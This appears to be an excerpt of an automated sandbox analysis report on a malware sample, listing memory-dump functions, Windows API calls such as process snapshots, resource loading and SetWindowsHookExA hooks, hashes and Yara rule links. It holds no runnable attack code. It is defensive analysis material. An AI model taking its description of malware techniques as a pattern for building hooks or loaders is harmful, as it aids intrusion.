83->24 86 401dad-401dbd Module32Next 83->86 85->77 85->82 86->7 86->52 89 4021c6-4021ca 87->89 90 40246a-402470 87->90 89->90 93 4021d0-402217 call 4018f0 89->93 91 402472-402475 90->91 92 40247a-402480 90->92 91->92 92->5 95 402482-402487 92->95 98 40221d-40223d 93->98 99 40244f-40245f 93->99 95->5 98->99 104 402243-402251 98->104 99->90 100 402461-402467 call 40b6b5 99->100 100->90 104->99 106 402257-4022b7 call 401870 VariantInit call 401870 VariantInit call 4018d0 104->106 114 4022c3-40232a call 4018d0 SafeArrayCreate SafeArrayAccessData call 40b350 SafeArrayUnaccessData 106->114 115 4022b9-4022be call 40ad90 106->115 122 402336-40234d call 4018d0 114->122 123 40232c-402331 call 40ad90 114->123 115->114 154 40234e call 25e9d01d 122->154 155 40234e call 25e9d005 122->155 123->122 127 402350-402352 128 402354-402355 SafeArrayDestroy 127->128 129 40235b-402361 127->129 128->129 130 402363-402368 call 40ad90 129->130 131 40236d-402375 129->131 130->131 133 402377-402379 131->133 134 40237b 131->134 135 40237d-40238f call 4018d0 133->135 134->135 152 402390 call 25e9d01d 135->152 153 402390 call 25e9d005 135->153 138 402392-4023a2 SafeArrayCreateVector 139 4023a4-4023a9 call 40ad90 138->139 140 4023ae-4023b4 138->140 139->140 142 4023b6-4023b8 140->142 143 4023ba 140->143 144 4023bc-402417 VariantClear * 2 call 4019a0 142->144 143->144 146 40241c-40242c VariantClear 144->146 147 402436-402445 call 4019a0 146->147 148 40242e-402433 146->148 147->99 151 402447-40244c 147->151 148->147 151->99 152->138 153->138 154->127 155->127
                                                                                                                                                            APIs
                                                                                                                                                            • OleInitialize.OLE32(00000000), ref: 004019FD
                                                                                                                                                            • _getenv.LIBCMT ref: 00401ABA
                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                                                                                                                                            • Module32First.KERNEL32 ref: 00401C48
                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
                                                                                                                                                            • Module32Next.KERNEL32(00000000,?), ref: 00401D02
                                                                                                                                                            • Module32Next.KERNEL32(00000000,?), ref: 00401DB6
                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401DC4
                                                                                                                                                            • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                                                                                                                                            • FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
                                                                                                                                                            • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                                                                                                                                            • LockResource.KERNEL32(00000000), ref: 00401EA7
                                                                                                                                                            • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                                                                                                                                            • _malloc.LIBCMT ref: 00401EBA
                                                                                                                                                            • _memset.LIBCMT ref: 00401EDD
                                                                                                                                                            • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_400000_jphwmyiA.jbxd
                                                                                                                                                            Yara matches
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
                                                                                                                                                            • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                            • API String ID: 1430744539-2962942730
                                                                                                                                                            • Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                            • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                            • Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                            • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                            Function 2A1E6C18 Relevance: 2.7, Strings: 2, Instructions: 182COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: PH]q$PH]q
                                                                                                                                                            • API String ID: 0-1166926398
                                                                                                                                                            • Opcode ID: 82c36a2a50cf27da2e801cef10b949c7a655a112014cec28e612931c25874129
                                                                                                                                                            • Instruction ID: 3dc8c107909e82c470951eb67d68427ba731b324e8e3863d08792486c6ad0b0c
                                                                                                                                                            • Opcode Fuzzy Hash: 82c36a2a50cf27da2e801cef10b949c7a655a112014cec28e612931c25874129
                                                                                                                                                            • Instruction Fuzzy Hash: AF81D074E00218CFDB18DFA9D994ADDBBF2BF89314F20806AD419AB395DB346A45CF50
                                                                                                                                                            Function 2AD3BDC8 Relevance: 1.9, APIs: 1, Instructions: 396COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3456975474.000000002AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AD30000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2ad30000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DispatchMessage
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2061451462-0
                                                                                                                                                            • Opcode ID: 8c710b66e4b4551a37f3cf437f753e858ab30953a4a3bdb9d9a8fb5219dd14d3
                                                                                                                                                            • Instruction ID: f8659befe0ca3dab9bc3c739d5abcf8ab3a0b9cddf45df0872696f0d9cd05db6
                                                                                                                                                            • Opcode Fuzzy Hash: 8c710b66e4b4551a37f3cf437f753e858ab30953a4a3bdb9d9a8fb5219dd14d3
                                                                                                                                                            • Instruction Fuzzy Hash: DDF16B34A00209CFDB04EFA9C884B9DBBF1BF48304F56C569D909AB265DB75E989CF40
                                                                                                                                                            Function 2A1D7A28 Relevance: 1.9, APIs: 1, Instructions: 357COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 0bc86b57d7f02e9fbd4579578484fda20bac0e83bf90e4836eb7ee8cb6139426
                                                                                                                                                            • Instruction ID: 8603dfec0fb3cc0d37b6736c9b33076042d120ef41cd75a7c8af25ce3f2a998a
                                                                                                                                                            • Opcode Fuzzy Hash: 0bc86b57d7f02e9fbd4579578484fda20bac0e83bf90e4836eb7ee8cb6139426
                                                                                                                                                            • Instruction Fuzzy Hash: 01F1E675E01218CFDB14DFA9D884B9DBBB2BF48314F50C1A9D408AB365DB74AA85CF50
                                                                                                                                                            Function 2A3FA2B0 Relevance: 1.8, APIs: 1, Instructions: 328COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4139908857-0
                                                                                                                                                            • Opcode ID: 884f818e848066dc34306855b82ee7fed7736f9df7e86c94e3116b8991cb634d
                                                                                                                                                            • Instruction ID: ec0ae163211cc15776eea8d7cdb056f90234bd44b0a166e43be3fcf9675a7705
                                                                                                                                                            • Opcode Fuzzy Hash: 884f818e848066dc34306855b82ee7fed7736f9df7e86c94e3116b8991cb634d
                                                                                                                                                            • Instruction Fuzzy Hash: 8DD16C70E003459FCB04EF79D48499EBBF5BF88310B10896AD849EB365DB74E945CB94
                                                                                                                                                            Function 2911FD20 Relevance: 1.6, APIs: 1, Instructions: 105COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SetWindowsHookExA.USER32(?,?,?,?), ref: 2911FDD9
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3452939155.0000000029110000.00000040.00000800.00020000.00000000.sdmp, Offset: 29110000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_29110000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HookWindows
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2559412058-0
                                                                                                                                                            • Opcode ID: 74d2909e71dd0c123df16d71ab17d95bfb3cfc4eaab8193c869edc398b0cb3c1
                                                                                                                                                            • Instruction ID: fb5458999a50f3baf1e182c21741a19a5212957a92ae1abf052b6d01d2fed449
                                                                                                                                                            • Opcode Fuzzy Hash: 74d2909e71dd0c123df16d71ab17d95bfb3cfc4eaab8193c869edc398b0cb3c1
                                                                                                                                                            • Instruction Fuzzy Hash: 054186B8D012589FCF14CFAAD984AEEFBB1BF49314F10902AE858B7210D734A946CF55
                                                                                                                                                            Function 2911FD28 Relevance: 1.6, APIs: 1, Instructions: 100COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SetWindowsHookExA.USER32(?,?,?,?), ref: 2911FDD9
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3452939155.0000000029110000.00000040.00000800.00020000.00000000.sdmp, Offset: 29110000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_29110000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HookWindows
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2559412058-0
                                                                                                                                                            • Opcode ID: 94f295711e66c34e73078d05a4a202ef347f12c69098fab9c25026b5ef4f7b90
                                                                                                                                                            • Instruction ID: 312fc20ddf52ea3cd465dcef47f658a607bf870be5a569b1ff33f9802e4f8488
                                                                                                                                                            • Opcode Fuzzy Hash: 94f295711e66c34e73078d05a4a202ef347f12c69098fab9c25026b5ef4f7b90
                                                                                                                                                            • Instruction Fuzzy Hash: 194167B8D012589FCB14CFAAD984AAEFBB1FB49314F10942AE818B7350D734A946CF55
                                                                                                                                                            Function 2A1EFE70 Relevance: 1.3, Strings: 1, Instructions: 86COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: LR]q
                                                                                                                                                            • API String ID: 0-3081347316
                                                                                                                                                            • Opcode ID: 99b1e5229edc90a1429843ccd9a25fe0203a7839b25b7c88d963490b84d5c62d
                                                                                                                                                            • Instruction ID: 447c955c69d3006ee507adc62da17352ae0fc36059658bd4b7ef0ce395a69dd1
                                                                                                                                                            • Opcode Fuzzy Hash: 99b1e5229edc90a1429843ccd9a25fe0203a7839b25b7c88d963490b84d5c62d
                                                                                                                                                            • Instruction Fuzzy Hash: 9F310131E012189FDB04DFB9C594AEDBBF2AF49304F104569D405BB291DB799A45CF90
                                                                                                                                                            Function 2A1EFE80 Relevance: 1.3, Strings: 1, Instructions: 80COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: LR]q
                                                                                                                                                            • API String ID: 0-3081347316
                                                                                                                                                            • Opcode ID: 9681f5c56a2038a73ce40fd8980fea6e2ec36cb1cf4091f9f60a3495823b12ef
                                                                                                                                                            • Instruction ID: eb41e5875cb3a663ad91b18000f50dbfddada33d2867d9ca429295115d7d2d4c
                                                                                                                                                            • Opcode Fuzzy Hash: 9681f5c56a2038a73ce40fd8980fea6e2ec36cb1cf4091f9f60a3495823b12ef
                                                                                                                                                            • Instruction Fuzzy Hash: DC310371E012199FDB04DFA9C544BEEBBF2BF49314F108429D405BB290DB79AA85CFA4
                                                                                                                                                            Function 2A29C770 Relevance: .7, Instructions: 745COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 6b3cd2526ae5a7ee6c34edff99fc809f87e0a2f8de2733b94cb289dd292e8ae6
                                                                                                                                                            • Instruction ID: dbde339023c8a972b73c10f5493842f71f456ef7788757d5b8859340ab821006
                                                                                                                                                            • Opcode Fuzzy Hash: 6b3cd2526ae5a7ee6c34edff99fc809f87e0a2f8de2733b94cb289dd292e8ae6
                                                                                                                                                            • Instruction Fuzzy Hash: CF826C74E012299FDB64DF69CD98B9DBBB2BF89700F1081E9944DA7261DB346E81CF40
                                                                                                                                                            Function 2911F0C8 Relevance: .7, Instructions: 725COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3452939155.0000000029110000.00000040.00000800.00020000.00000000.sdmp, Offset: 29110000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_29110000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 261d26810864953379446b5ff6ae977fb72798ccafd47c384454c042bd0e013d
                                                                                                                                                            • Instruction ID: 76ac10ec55135f2fdf56139581bb0bfe52b87b5f89bc76d98fad5934de10caa5
                                                                                                                                                            • Opcode Fuzzy Hash: 261d26810864953379446b5ff6ae977fb72798ccafd47c384454c042bd0e013d
                                                                                                                                                            • Instruction Fuzzy Hash: B272BE74E012299FDB65DF6AC984BD9BBB2BF49304F5091E9D408A7351DB34AE82CF40
                                                                                                                                                            Function 2A254908 Relevance: .3, Instructions: 300COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: e4e73bf2b968005dd8d4e9f18d52979015635b87299e839ae61e7ff8f01e9bd6
                                                                                                                                                            • Instruction ID: fee97cb46e87b8bac8f4d45d1a7f784b3c827fad3dafcf67aaa5fbc7f488d1ba
                                                                                                                                                            • Opcode Fuzzy Hash: e4e73bf2b968005dd8d4e9f18d52979015635b87299e839ae61e7ff8f01e9bd6
                                                                                                                                                            • Instruction Fuzzy Hash: C1E1C074E01218CFDB64DFA5C944B9DBBB2BF88300F1081A9D408BB3A5DB395A85CF55
                                                                                                                                                            Function 2A1E65C0 Relevance: .3, Instructions: 296COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: ce94829a314861302f81eee311bc5ef436665f35af449a341602fcd10f77be0b
                                                                                                                                                            • Instruction ID: 2bcd5253b8f4337906444559c5603dab9d7fabbd6d43279b99cc7efa7512b971
                                                                                                                                                            • Opcode Fuzzy Hash: ce94829a314861302f81eee311bc5ef436665f35af449a341602fcd10f77be0b
                                                                                                                                                            • Instruction Fuzzy Hash: 2DE1C274E01218CFEB54DFA5C944B9DBBB2BF89304F2080A9D408AB3A5DB395A85CF10
                                                                                                                                                            Function 2A2809D0 Relevance: .3, Instructions: 292COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 156862c7efc6cd01e41ad6b893e2d9ba7e2a60c433aecdbe59db09fae11624a7
                                                                                                                                                            • Instruction ID: 43ba93a915908be8a760f0c6b3f5f1a8586aff900c026bab678f4f94a2a04605
                                                                                                                                                            • Opcode Fuzzy Hash: 156862c7efc6cd01e41ad6b893e2d9ba7e2a60c433aecdbe59db09fae11624a7
                                                                                                                                                            • Instruction Fuzzy Hash: D9D19174E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D409AB3A5DB395E85CF50
                                                                                                                                                            Function 2A25DF18 Relevance: .3, Instructions: 292COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 827e993b121db94d20c9cfa6da31644bd5620093fe5d8f64a9d578bdef25c494
                                                                                                                                                            • Instruction ID: 21e812b0a50b44e20e00d3015f8141cdb37d8c17b06fe5f1fddb99f787118b60
                                                                                                                                                            • Opcode Fuzzy Hash: 827e993b121db94d20c9cfa6da31644bd5620093fe5d8f64a9d578bdef25c494
                                                                                                                                                            • Instruction Fuzzy Hash: EBD19074E01218CFDB58DFA5C994B9DBBB2BF89300F1081A9D409AB3A5DB395E85CF50
                                                                                                                                                            Function 2A254FA8 Relevance: .3, Instructions: 292COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: cd35f41be1c4c53803c2bf61188197f1fdbb5346d96bac0b089d511a31705579
                                                                                                                                                            • Instruction ID: 3f851d6336f0a0594bea9d0145f490e75699be226968064842dd38cb855e334b
                                                                                                                                                            • Opcode Fuzzy Hash: cd35f41be1c4c53803c2bf61188197f1fdbb5346d96bac0b089d511a31705579
                                                                                                                                                            • Instruction Fuzzy Hash: D9D1A074E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D409AB3A5DB355E85CF50
                                                                                                                                                            Function 2A1EBA10 Relevance: .3, Instructions: 272COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: b4ffaa8f18061667b75c48bfbb38ad4fa6751621afa7ad97d54ae87eb16a6259
                                                                                                                                                            • Instruction ID: 902fb482314a2233312a90796b757d40d1708049c196f7abfb9fa26482a12421
                                                                                                                                                            • Opcode Fuzzy Hash: b4ffaa8f18061667b75c48bfbb38ad4fa6751621afa7ad97d54ae87eb16a6259
                                                                                                                                                            • Instruction Fuzzy Hash: 40D1D074E01218CFDB54DFA5C985B9DBBB2BF89300F1080A9D908AB365DB356E85CF51
                                                                                                                                                            Function 2A1E7AF0 Relevance: .3, Instructions: 272COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: bf2a9299fd94d9d507cad375438de5fec0bca4e9676615bf46084d784d0c6d95
                                                                                                                                                            • Instruction ID: af8777ff2267cd0992cb09cbf69f5f7f3665fb0c2a10c73787683d736306fbc8
                                                                                                                                                            • Opcode Fuzzy Hash: bf2a9299fd94d9d507cad375438de5fec0bca4e9676615bf46084d784d0c6d95
                                                                                                                                                            • Instruction Fuzzy Hash: 8BD1DE74E01218CFDB54DFA5C984B9DBBB2BF89300F1080A9D908AB365DB396E85CF51
                                                                                                                                                            Function 2A1EA340 Relevance: .3, Instructions: 272COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: ab54cb93b1dc03431c7cf426c241876e922c59f1efca0cd062468ad7f1e4f369
                                                                                                                                                            • Instruction ID: 1efd396746e895e7fa5667fa37b1f8b089e2cbaf2ff0009c0c61d647fd974f83
                                                                                                                                                            • Opcode Fuzzy Hash: ab54cb93b1dc03431c7cf426c241876e922c59f1efca0cd062468ad7f1e4f369
                                                                                                                                                            • Instruction Fuzzy Hash: 58D1D074E01218CFDB54DFA5C994B9DBBB2BF89300F1080A9D808AB3A5DB356E85CF51
                                                                                                                                                            Function 2A1D0E38 Relevance: .3, Instructions: 268COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: fc0abc3f8ed701b0adc60b18515d7b00249166b1a07ea73f803556298778d302
                                                                                                                                                            • Instruction ID: b7f3280768550ea56689ee6ffe57f66fa943f907ec1e0d17ba1658596140a88f
                                                                                                                                                            • Opcode Fuzzy Hash: fc0abc3f8ed701b0adc60b18515d7b00249166b1a07ea73f803556298778d302
                                                                                                                                                            • Instruction Fuzzy Hash: 0DC1A274E00218CFDB54DFA5D995B9DBBB2FF88300F2081A9D809A7365DB399A85CF50
                                                                                                                                                            Function 2A1DB580 Relevance: .3, Instructions: 268COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 35f98935d571c61ea3fc21433ecfcff928920292d42bddac13987543a35b1004
                                                                                                                                                            • Instruction ID: 63392f2b732211f15b71291fe3f299024a95fbbbfe13dde5d607805a95ada64d
                                                                                                                                                            • Opcode Fuzzy Hash: 35f98935d571c61ea3fc21433ecfcff928920292d42bddac13987543a35b1004
                                                                                                                                                            • Instruction Fuzzy Hash: A4C1C175E00218CFDB54DFA5C985B9DBBB2BF89300F1080A9D909AB3A5DB395E85CF50
                                                                                                                                                            Function 2A1E11A0 Relevance: .3, Instructions: 268COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: ed42b57d0a7b6f642c51b525f655683b8123e5120a35f1de19bea9ad58241b5b
                                                                                                                                                            • Instruction ID: f39c56b331b2d68b873801fab30b3693c9b1ad244f08ddf999b594a2549f399c
                                                                                                                                                            • Opcode Fuzzy Hash: ed42b57d0a7b6f642c51b525f655683b8123e5120a35f1de19bea9ad58241b5b
                                                                                                                                                            • Instruction Fuzzy Hash: A3C1B274E01218CFDB54DFA5C985B9DBBB2BF89300F1080A9D809AB365DB395E85CF50
                                                                                                                                                            Function 2A3F31C0 Relevance: .3, Instructions: 253COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 98cd98047a2e322df86401a8d858b5fc094a0c72f0bd5b4fbb6931073b74c750
                                                                                                                                                            • Instruction ID: 4b3a8810bc63828aa5a7342fe652f84ccecb84d3a631e3dc07b69703caf50db4
                                                                                                                                                            • Opcode Fuzzy Hash: 98cd98047a2e322df86401a8d858b5fc094a0c72f0bd5b4fbb6931073b74c750
                                                                                                                                                            • Instruction Fuzzy Hash: 5E916935911259DFDB04AFB0C85C7AEBBB2AF06306F10546AD102B72E1CB7D4A89CF95
                                                                                                                                                            Function 2A3F31D0 Relevance: .2, Instructions: 247COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
